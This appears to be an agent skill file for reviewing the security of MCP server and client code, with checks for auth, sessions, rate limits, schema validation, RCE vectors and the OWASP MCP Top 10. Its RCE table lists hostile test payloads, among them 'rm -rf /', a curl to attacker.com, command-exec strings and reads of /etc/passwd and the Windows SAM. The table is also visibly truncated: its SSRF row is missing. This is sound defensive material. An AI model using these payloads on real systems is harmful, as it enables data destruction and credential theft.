| name | mcp-implementation-security-review |
| description | Review the implementation source code of MCP (Model Context Protocol) servers, clients, and tool handlers against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file/line evidence. Use this skill when:
- Reviewing an MCP server implementation for security before release
- Checking a server against the baseline controls (MCP-01 to MCP-05) and the OWASP MCP Top 10
- Auditing tools for RCE vectors (command/code injection, unsafe deserialization, path traversal, SSTI, dependency hijacking, SSRF)
- Verifying auth, session, rate-limiting, and input-validation controls on a network-exposed server
- Reviewing MCP client code that handles untrusted server responses and session IDs
- Requests like "review this MCP server for security" or "is my MCP server implementation secure?"
|
MCP Implementation Security Review
Process
Step 1 — Classify the target
- Check MCP protocol version 2025-03-26 or later (current: 2025-11-25). Flag older versions as a finding but continue the review.
- Determine whether the target is a server or client.
- Classify transport as network-exposed or local-only using the transport reference below.
- Record transport, protocol version, and whether sessions exist.
Completion criterion: Target type, protocol status, and transport are identified.
Step 2 — Filter false positives
- Apply the False Positive Filters before opening findings.
- Keep docs only when they describe the repo's own server behavior, deployment, transport, or auth posture.
- For framework/SDK repositories, scope findings to the default configuration and public API surface.
Completion criterion: Remaining evidence is in-scope code, repo-owned docs, or public API behavior.
Step 3 — Check baseline controls
- For network-exposed servers, check MCP-01 through MCP-05.
- For local/STDIO servers, do not mark baseline controls PASS/FAIL; give best-practice notes and continue to RCE review.
- For clients, only review token/session handling explicitly visible in client code; do not apply the server baseline unless the user asks for client-side risk review.
Completion criterion: Each applicable control has a supported status.
Step 4 — Check RCE vectors
- Review all 7 RCE vectors.
- Mark each vector SAFE, AT RISK, or N/A.
- Prefer direct evidence over inference; the RCE Vectors table below enumerates the patterns to look for.
Completion criterion: Every relevant tool has an RCE result or explicit N/A.
Step 5 — Check OWASP MCP Top 10
- Evaluate all 10 OWASP risks below.
- If a control from Step 3 already fully covers an OWASP risk, reference that result rather than re-checking.
- For local/STDIO servers, mark network-dependent OWASP risks (MCP07, MCP09) as N/A.
- Mark each risk PASS, FAIL, or NEEDS INVESTIGATION.
Completion criterion: All 10 OWASP risks have outcomes supported by observable evidence or referenced from Step 3.
Step 6 — Report
- Use the Compliance Output Format below.
- Include file/line references in every justification.
- Separate code findings from manual follow-ups.
- If evidence is incomplete, use NEEDS INVESTIGATION and name the missing artifact.
Completion criterion: The report includes controls, RCE, optional OWASP, and actions.
Reference
Decision rules
- Network-exposed server: Apply all 5 controls, then run RCE and requested OWASP checks.
- Local/STDIO server: Give best-practice guidance only for the 5 controls; still run RCE because tool input can execute locally.
- Client: Review received-token handling and refusal to trust server-provided session IDs; do not force server controls unless asked.
- Reverse proxy or container exposure: If traffic can reach the server over a network, treat it as network-exposed even if inner binding is localhost.
- Unclear evidence: Do not guess. Mark NEEDS INVESTIGATION and say what must be verified manually.
- Ambiguous auth coverage: Auth middleware exists but it is unclear whether it covers MCP endpoints → mark NEEDS INVESTIGATION.
- Undeterminable transport: If transport cannot be established from code, flag for manual review and do not assume STDIO — defaulting to STDIO would wrongly skip the server controls.
Transport classification
Network-exposed (enforce all controls):
| Pattern | Transport |
|---|
transport="http" or transport="sse" | HTTP/SSE |
StreamableHttpServerTransport | HTTP (TS/JS) |
SSEServerTransport | SSE (TS/JS) |
WithHttpTransport() | HTTP (C#) |
host="0.0.0.0" | All-interfaces binding |
Express .listen(port) with MCP routes | HTTP (default 0.0.0.0) |
EXPOSE in Dockerfile + MCP server | Network-exposed |
Local-only (best practices only):
| Pattern | Transport |
|---|
StdioServerTransport | STDIO (TS/JS) |
WithStdioServerTransport() | STDIO (C#) |
transport="stdio" | STDIO |
mcp.run() with no args (Python FastMCP) | STDIO default |
.vscode/mcp.json with command key and no URL | STDIO child process |
Host binding gotchas:
| Binding | Actual exposure |
|---|
host="0.0.0.0" | 🔴 Network-exposed |
host="127.0.0.1" or localhost | 🟢 Local-only |
| No explicit host (Express/Node) | 🔴 Defaults to 0.0.0.0 |
| No explicit host (Python FastMCP) | 🟡 Depends on transport — verify |
Docker ports: "8000:8000" | 🔴 Network-exposed even if the process binds 127.0.0.1 inside the container |
False Positive Filters
| FP pattern | How to detect |
|---|
.github/skills/ templates | Path contains .github/skills/ — skill template, not server code |
| Vendored SDK / OSS copies | File defines class FastMCP, class McpServer, or path is in node_modules/, vendor/ |
| MCP client configs | .vscode/mcp.json with inputs/servers but no server code |
| Documentation / tutorials | .md, .rst with code fences unrelated to the repo's own server |
| Outbound-only auth libraries | DefaultAzureCredential, service account JSON, or similar used only for outbound auth |
Docs describing the repo's own server behavior, transport, auth posture, or deployment are not false positives.
Controls Reference
MCP-01 — Identity isolation
Scope: Remote MCP servers
Condition
- Authenticate every inbound request with a trusted identity provider and enforce authorization at the server boundary; do not infer auth from session IDs, prior requests, or network location.
- Use a unique server-specific application identity and audience/resource identifier; outbound calls use independently scoped service credentials or on-behalf-of flow where required, never the inbound token.
- Unauthenticated discovery endpoints are allowed only for metadata-only OAuth/MCP bootstrapping:
/.well-known/oauth-protected-resource, /.well-known/oauth-authorization-server, /.well-known/openid-configuration.
What to check
- Token validation and authorization middleware run on every MCP route; authorization distinguishes tool invoke, read-only, and admin operations if present.
- Identity config shows a dedicated application/client/resource ID and audience; outbound clients acquire their own tokens and never copy inbound
Authorization.
- Discovery endpoints return metadata only and cannot execute tools or expose protected data.
Key pitfall: Shared application identities or forwarded caller tokens break identity isolation and create confused-deputy paths.
MCP-02 — Sessions
Scope: Remote MCP servers that support sessions
Applicability
- No session identifiers issued or used anywhere → mark N/A (per-request auth is still required; see MCP-01).
- Sessions managed by the transport/SDK (e.g., Streamable HTTP
Mcp-Session-Id) but generation/binding not visible in source → mark NEEDS INVESTIGATION, not FAIL.
- Session identifiers present in code → score PASS/FAIL against the conditions below.
Condition
- Authenticate and authorize every request; session state never substitutes for token validation.
- Session IDs are opaque correlation/continuity tokens only; they do not grant privileges, encode authorization, or bypass auth.
- Session IDs are CSPRNG-generated, unpredictable, bound to an authenticated context, and never embedded in URLs.
What to check
- Middleware validates tokens per request, not only when a session starts.
- Authorization logic never trusts a session ID alone; loss or reuse of a session ID must not grant access.
- Session creation uses random IDs (GUID v4/CSPRNG acceptable; sequential or time-based IDs are not).
Key pitfall: Treating a session ID as a bearer credential turns a correlation token into authentication.
MCP-03 — Rate limits
Scope: MCP servers and tools
Condition
- Enforce rate limits and abuse protection on tool discovery and tool invocation.
- Enforce limits at the MCP server runtime, not only at a gateway; partition by authenticated identity and by session where sessions exist.
- Apply stricter limits to mutation-capable and high-cost tools; when limits are exceeded, fail closed with HTTP 429 and Retry-After and do not execute the tool.
What to check
- Rate-limit middleware or equivalent is present on discovery and invocation endpoints in server code, not just in ingress or proxy config.
- Limits are keyed by identity and session, with tighter budgets for write/high-cost operations.
- Exceeded requests stop before backend action and return 429 with Retry-After.
Starting thresholds (tune to actual load, downstream limits, and cost):
| Tool type | Per-identity | Per-session | Notes |
|---|
| Read-only / listing | 100/min | 200/min | Lower if downstream APIs are sensitive |
| Mutation / write | 10/min | 20/min | Stricter for state-changing ops |
| High-cost compute | 5/min | 10/min | Cost-weighted; watch cloud spend |
| Tool discovery | 30/min | 60/min | Prevents enumeration abuse |
Key pitfall: Gateway-only throttling or one flat bucket leaves bypasses and under-protects expensive tools.
MCP-04 — Schema validation
Scope: MCP servers exposing tools with structured arguments
Condition
- Validate all tool arguments against explicit schemas before execution.
- Schemas define types, required fields, enums, and bounds, and reject unspecified properties by default (
additionalProperties: false or equivalent).
- Validation runs server-side on every invocation; invalid input fails closed with a 400/MCP error and no backend action.
What to check
- Each tool descriptor has a schema covering types, required fields, enums, bounds, and property restrictions.
- Validation occurs at the server boundary on every call, not only in clients, gateways, or downstream services.
- Negative tests reject malformed input, extra properties, and bounds violations.
Key pitfall: Allowing extra properties or client-only validation creates hidden attack surface and scope creep.
MCP-05 — SDK-first
Scope: Remote MCP servers
Condition
- Build remote MCP servers on an official MCP SDK for your server's language:
- Tier 1 (fully supported): TypeScript (modelcontextprotocol/typescript-sdk), Python (modelcontextprotocol/python-sdk), C#/.NET (modelcontextprotocol/csharp-sdk), Go (modelcontextprotocol/go-sdk)
- Tier 2/3 (developing): Java (modelcontextprotocol/java-sdk), Kotlin (modelcontextprotocol/kotlin-sdk), Rust (modelcontextprotocol/rust-sdk), Swift (modelcontextprotocol/swift-sdk), PHP (modelcontextprotocol/php-sdk), Ruby (modelcontextprotocol/ruby-sdk)
- If not using an official SDK, mark MCP-05 as NEEDS INVESTIGATION.
- Keep the SDK current and patched, and verify which controls are automatic versus manual.
What to check
- Dependencies reference an official MCP SDK rather than a hand-rolled HTTP/SSE stack.
- If no SDK is used, the repo contains direct evidence for auth/authz, sessions, rate limits, and schema validation.
- Dependency pinning and update hygiene show the SDK is maintained.
Key pitfall: Hand-rolled servers often miss one "small" primitive—per-request auth, throttling, or validation—and the gaps compound.
RCE Vectors
| Vector | Dangerous code | Safe alternative | Test payload | CWE |
|---|
| Command injection | exec("convert " + args.filename), os.system(f"process {user_input}"), Process.Start("cmd", "/c " + toolArg) | execFile("convert", [args.filename]), subprocess.run(["process", user_input], shell=False) | ; rm -rf /, $(curl attacker.com), ` | net user` must be rejected or treated literally |
| Dynamic code evaluation | eval(args.expression), exec(tool_output), new Function(args.code)() | Sandboxed parser, AST-based evaluation, or predefined allowlist | __import__('os').system('whoami'), require('child_process').exec('id') must be rejected | CWE-94, CWE-95 |
| Unsafe deserialization | pickle.loads(user_data), yaml.load(input, Loader=yaml.UnsafeLoader), BinaryFormatter.Deserialize(stream) | yaml.safe_load(), JSON.parse() plus schema validation; avoid binary formats for untrusted input | Crafted serialized payloads must be rejected or safely handled | CWE-502 |
| Path traversal | fs.readFile(args.path) without validation, open(user_path, 'w') | Canonicalize and enforce an allowlisted base directory before read/write/execute | ../../../../etc/passwd, C:\Windows\System32\config\SAM, ..\..\..\.env must be rejected | CWE-22 |
| SSTI | Template(user_input).render(), Handlebars.compile(args.template)({data}) | Never use user input as template source; use predefined templates with parameters only | {{7*7}}, ${7*7}, <%= 7*7 %> must not render 49 | CWE-1336 |
| Dependency hijacking | Unpinned deps such as "lodash": "^4.0.0"; internal package names resolvable from public registries |
OWASP MCP Top 10
MCP01:2025 — Token Mismanagement & Secret Exposure
Test: Search for hardcoded secrets and token logging; verify secrets come from env vars or a secrets manager; verify short-lived/rotated tokens.
Pass: No hardcoded secrets, sensitive fields redacted, short-lived/rotated tokens. Fail: Hardcoded secrets, token logging, or long-lived tokens without rotation.
MCP02:2025 — Privilege Escalation via Scope Creep
Test: Review scopes/roles; confirm least privilege and per-request authorization; reject wildcard admin scopes unless justified; check for runtime capability expansion.
Pass: Least-privilege scopes, per-request authorization, no runtime capability expansion. Fail: Broad scopes, one-time auth only, or self-escalating tools.
MCP03:2025 — Tool Poisoning
Test: Check whether tool definitions are static and server-controlled, whether tools can alter metadata, and whether outputs contain LLM-parseable instructions.
Pass: Static server-controlled definitions and data-only outputs. Fail: External metadata sources or outputs with embedded instructions.
MCP04:2025 — Supply Chain Attacks & Dependency Tampering
Test: Check for lock files, exact pinning, suspicious postinstall scripts, dependency audit results, and trusted registries.
Pass: Pinned deps, committed lock file, no known vulnerabilities, no suspicious post-install scripts. Fail: Unpinned deps, no lock file, unpatched CVEs, or untrusted registries.
MCP05:2025 — Command Injection & Execution
Test: Search for shell execution APIs and string-built commands; trace whether tool input reaches shell execution; test ; ls, $(whoami), | cat /etc/passwd.
Pass: No shell execution from untrusted input, or only parameterized allowlisted execution. Fail: User input reaches shell commands, shell=True with formatted strings, or unsafe concatenation.
MCP06:2025 — Prompt Injection via Contextual Payloads
Test: Check whether tool output goes back to the LLM, whether external content is sanitized/truncated/sandboxed, and whether chained tool calls are guarded; test adversarial instruction-bearing output.
Pass: Tool outputs are data, untrusted content is sanitized/truncated/sandboxed, and chaining has guardrails. Fail: Raw external content returns to the model and there are no chaining limits.
MCP07:2025 — Insufficient Authentication & Authorization
Test: Send requests without auth and with expired/invalid tokens; verify per-tool authorization; confirm auth is enforced in the server, not only at the gateway.
Pass: All endpoints require valid auth, per-tool authorization exists, and enforcement happens server-side. Fail: Any unauthenticated access, missing per-tool auth, or gateway-only enforcement.
MCP08:2025 — Lack of Audit and Telemetry
Test: Invoke a tool and confirm logs capture caller identity, tool name, and timestamp; trigger an error and confirm useful context; verify centralized logging and alerting.
Pass: Tool invocations are logged with identity, logs are centralized, and alerts exist. Fail: Missing logs, no caller identity, local-only logging, or no alerting.
MCP09:2025 — Shadow MCP Servers
Test: Verify the server exists in service inventory; inspect for undocumented MCP endpoints or exposed non-standard ports; check dev/staging isolation; verify an owner and review trail.
Pass: All servers are inventoried, isolated appropriately, and owned. Fail: Undocumented servers, dev/test exposure into production networks, or no ownership.
MCP10:2025 — Context Injection & Over-Sharing
Test: Inspect tool responses for data minimization; check for PII or full objects when only subsets are needed; verify context isolation.
Pass: Minimal data is returned, sensitive fields are masked/excluded, and context is isolated. Fail: Full objects are returned unnecessarily, PII is exposed, or context is shared across users.
Compliance Output Format
In every summary table below, the Justification cell must cite specific file/line evidence for the status.
Control summary
| Control | Name | Status | Justification |
|---|
| MCP-01 | Auth & Identity isolation | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A | … |
| MCP-02 | Secure Session Management | … | … |
| MCP-03 | Rate limiting & abuse protection | … | … |
| MCP-04 | Input schema validation | … | … |
| MCP-05 | Production SDK usage | … | … |
Use PASS only when the code clearly satisfies the control. Use FAIL when the violation is observable. Use NEEDS INVESTIGATION when compliance depends on deployment config, identity-provider state, logs, or other evidence not visible in source.
RCE summary
| Vector | Status | Justification |
|---|
| Command injection | SAFE / AT RISK / N/A | … |
| Dynamic code evaluation | … | … |
| Unsafe deserialization | … | … |
| Path traversal | … | … |
| SSTI | … | … |
| Dependency hijacking | … | … |
| SSRF | … | … |
OWASP summary
| Risk | Status | Justification |
|---|
| MCP01:2025 | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION | … |
| MCP02:2025 | … | … |
| MCP03:2025 | … | … |
| MCP04:2025 | … | … |
| MCP05:2025 | … | … |
| MCP06:2025 | … | … |
| MCP07:2025 | … | … |
| MCP08:2025 | … | … |
| MCP09:2025 | … | … |
| MCP10:2025 | … | … |
Manual follow-ups
List every check that could not be fully resolved from source code, specifying what artifact or access is needed to verify it.
Exception process
- Document the gap: Identify the unmet control, the exact deviation, residual risk, and any compensating controls.
- Get explicit approval: Route the exception through security/release approval with an owner and an expiration or review date.
- Track and re-evaluate: Record the approved exception with compliance results and revisit it on expiry or whenever the server, tools, traffic profile, or exposure changes.
